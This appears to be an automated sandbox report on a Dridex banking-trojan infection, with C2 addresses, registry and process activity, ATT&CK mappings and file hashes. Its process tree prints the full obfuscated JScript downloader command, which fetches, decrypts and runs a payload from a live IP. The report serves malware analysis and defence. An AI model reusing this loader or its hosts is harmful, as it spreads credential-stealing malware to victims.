dridex | hxxp://popcash[.]net/world/go/286361/586996

General

Target

http://popcash.net/world/go/286361/586996

Score

10^/10

dridex 10111 botnet discovery evasion trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

45.63.36.79:8194

45.79.80.198:9676

81.223.127.86:10172

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

39 1604 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

fkpsr.exe

pid process

3916 fkpsr.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

fkpsr.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA fkpsr.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
39	1604	wscript.exe

pid	process
3916	fkpsr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fkpsr.exe

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "344850140"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{AD525E7B-5208-11EC-B34F-56EEF542141B} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "344818149"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "344801554"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

iexplore.exe

pid process

2368 iexplore.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

2368 iexplore.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

2368 iexplore.exe
2368 iexplore.exe
1144 IEXPLORE.EXE
1144 IEXPLORE.EXE
1144 IEXPLORE.EXE
1144 IEXPLORE.EXE

pid	process
2368	iexplore.exe

pid	process
2368	iexplore.exe

pid	process
2368	iexplore.exe
2368	iexplore.exe
1144	IEXPLORE.EXE
1144	IEXPLORE.EXE
1144	IEXPLORE.EXE
1144	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

iexplore.exeIEXPLORE.EXEcmd.exewscript.execmd.exe

description	pid	process	target process
PID 2368 wrote to memory of 1144	2368	iexplore.exe	IEXPLORE.EXE
PID 2368 wrote to memory of 1144	2368	iexplore.exe	IEXPLORE.EXE
PID 2368 wrote to memory of 1144	2368	iexplore.exe	IEXPLORE.EXE
PID 1144 wrote to memory of 1728	1144	IEXPLORE.EXE	cmd.exe
PID 1144 wrote to memory of 1728	1144	IEXPLORE.EXE	cmd.exe
PID 1144 wrote to memory of 1728	1144	IEXPLORE.EXE	cmd.exe
PID 1728 wrote to memory of 1604	1728	cmd.exe	wscript.exe
PID 1728 wrote to memory of 1604	1728	cmd.exe	wscript.exe
PID 1728 wrote to memory of 1604	1728	cmd.exe	wscript.exe
PID 1604 wrote to memory of 356	1604	wscript.exe	cmd.exe
PID 1604 wrote to memory of 356	1604	wscript.exe	cmd.exe
PID 1604 wrote to memory of 356	1604	wscript.exe	cmd.exe
PID 356 wrote to memory of 3916	356	cmd.exe	fkpsr.exe
PID 356 wrote to memory of 3916	356	cmd.exe	fkpsr.exe
PID 356 wrote to memory of 3916	356	cmd.exe	fkpsr.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://popcash.net/world/go/286361/586996
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2368

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2368 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1144

C:\Windows\SysWOW64\cmd.exe
cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("GET",k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/["Wait"+"ForResponse"]();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinH"+"ttp.WinHttpRequest.5.1"),j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";s[Y]=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));s.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp "htEL5N9d" "http://45.138.24.53/?MzUzNjIy&Djf&dsfdfg43t=CMVHYG06VxY2RhOjWQt2xeGX_k7TDfF_xrwrcSR2JtfcdK7ZUOwbjixGEKQJimI5fUl5C8qCnhkeDyUKbiJLQ-UDeYglC-8CXR7c63G3yybMkLYsjxCY&fhfghddfsdf=why&cxssdvxcv=91tpinny.114pp91.406v6t2a5&sdfsdfdfg=cars&ogfhghgn4=xXnQMvWZbRXQCZ3BJfzHUKR&YdksedMTkwMDY=" "2""
3⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp "htEL5N9d" "http://45.138.24.53/?MzUzNjIy&Djf&dsfdfg43t=CMVHYG06VxY2RhOjWQt2xeGX_k7TDfF_xrwrcSR2JtfcdK7ZUOwbjixGEKQJimI5fUl5C8qCnhkeDyUKbiJLQ-UDeYglC-8CXR7c63G3yybMkLYsjxCY&fhfghddfsdf=why&cxssdvxcv=91tpinny.114pp91.406v6t2a5&sdfsdfdfg=cars&ogfhghgn4=xXnQMvWZbRXQCZ3BJfzHUKR&YdksedMTkwMDY=" "2""
4⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c fkpsr.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:356

C:\Users\Admin\AppData\Local\Temp\fkpsr.exe
fkpsr.exe
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3916

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\AFW0RSWG.cookie
MD5
2244149a72b8c1e9da5b2966bcd32b53

SHA1
6011626daf4acee927a525cf624b965c1e6245ff

SHA256
6f02f091cc5853d5130debd1297276587109f15012e027fcc05670b81ca9138c

SHA512
bbd51f3b0558d3132ca9741339d066f981375b8db4853bedf24a24b7c14dfe35b929769ca173faf507891f57336a8f62096513fdec1bbb45ec3ca99b644da7c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
60fc00422b399db85f87d41b8328976d

SHA1
bb85034acad8025f97e5bb236443debaf8926e4b

SHA256
c38eb3965155b143c8d72bf219ec6dd985a106ce0776c272470b0019e74fb690

SHA512
16fa1a3c187500b5c3867fa05752428496273b73c2960c54d2e34e4833a057392c1f5469c8824fdc3d29c9ece2e65189ee281638ccaae941437a259192591151

Download Submit
C:\Users\Admin\AppData\Local\Temp\fkpsr.exe
MD5
20be07dc9822d22f904eefd4a7412e51

SHA1
73507d85b15cf577562ceceab2c1f46512830a0b

SHA256
4061a0c406f3f2fa26f39e4799049f50c8a969f7989fac844dbb3e18f0b10b47

SHA512
ee80a80b8ba8f1b7d73965594683bf49367df9ff3ca2537c7902f5c6a06a49caa1f2eb368c6e8499250c89d20c451b5dfc648510c676a6042673fcd2aa87e9ae

Download Submit
C:\Users\Admin\AppData\Local\Temp\fkpsr.exe
MD5
20be07dc9822d22f904eefd4a7412e51

SHA1
73507d85b15cf577562ceceab2c1f46512830a0b

SHA256
4061a0c406f3f2fa26f39e4799049f50c8a969f7989fac844dbb3e18f0b10b47

SHA512
ee80a80b8ba8f1b7d73965594683bf49367df9ff3ca2537c7902f5c6a06a49caa1f2eb368c6e8499250c89d20c451b5dfc648510c676a6042673fcd2aa87e9ae

Download Submit
memory/356-175-0x0000000000000000-mapping.dmp

Download
memory/1144-143-0x0000000000000000-mapping.dmp

Download
memory/1604-173-0x0000000000000000-mapping.dmp

Download
memory/1728-172-0x0000000000000000-mapping.dmp

Download
memory/2368-134-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-160-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-130-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-131-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-132-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-118-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-136-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-137-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-139-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-140-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-138-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-141-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-126-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-144-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-145-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-147-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-148-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-150-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-152-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-153-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-154-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-158-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-159-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-128-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-166-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-167-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-168-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-169-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-170-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-171-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-127-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-125-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-123-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-124-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-119-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-122-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-120-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-191-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-190-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-181-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-185-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-186-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/2368-189-0x00007FFC81D20000-0x00007FFC81D8B000-memory.dmp

Filesize
428KB

Download
memory/3916-180-0x0000000000400000-0x00000000004F6000-memory.dmp

Filesize
984KB

Download
memory/3916-179-0x0000000002010000-0x000000000204C000-memory.dmp

Filesize
240KB

Download
memory/3916-176-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing